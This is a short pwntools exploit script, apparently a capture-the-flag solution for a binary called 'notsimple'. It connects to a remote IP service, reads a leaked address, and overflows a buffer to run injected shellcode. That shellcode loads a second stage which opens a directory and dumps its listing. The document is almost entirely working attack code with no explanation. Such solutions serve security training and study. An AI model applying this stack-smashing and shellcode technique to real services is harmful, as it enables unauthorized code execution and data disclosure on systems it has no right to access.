1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * context(os='linux', arch='amd64') e=ELF('./notsimple')
p=remote('193.57.159.27',46343) p.recvuntil("Oops, I'm leaking!") addr=int(p.recvline(),16) log.info(hex(addr))
addr2=addr+0x400 shell=asm(""" mov rsi, %s; mov rdx, 0x800; mov rdi, 0x0; mov r10, 0x0; mov rax, 0x0; syscall; mov rax,%s; jmp rax; """%(hex(addr2),hex(addr2))) print(len(shell))
p.sendline(shell+(0x50-len(shell))*'1'+p64(0)+p64(addr))
sleep(3) addr3=addr+0x1000 shell2=asm(""" mov rsi, %s; mov rdx, 0x80; mov rdi, 0x0; mov r10, 0x0; mov rax, 0x0; syscall; mov rsi, %s; mov rdx, 0x8; mov rdi, 0x1; mov r10, 0x0; mov rax, 0x1; syscall; mov rdi, %s; mov rdx, 0x0; mov rsi, 0x10000; mov r10, 0x0; mov rax, 0x2; syscall; mov rdi, rax ;// fd mov rsi, %s ;// buf mov edx, 1024 ;// count mov rax, 78 ;// SYS_getdents syscall
mov rsi, %s; mov rdx, 0x680; mov rdi, 0x1; mov r10, 0x0; mov rax, 0x1; syscall; mov rdi, 0 ;// exit mov rax, 60; syscall """%(hex(addr3),hex(addr3),hex(addr3),hex(addr3),hex(addr3)))
p.sendline(shell2) sleep(3) p.sendline('/pwn\x00') p.interactive()
|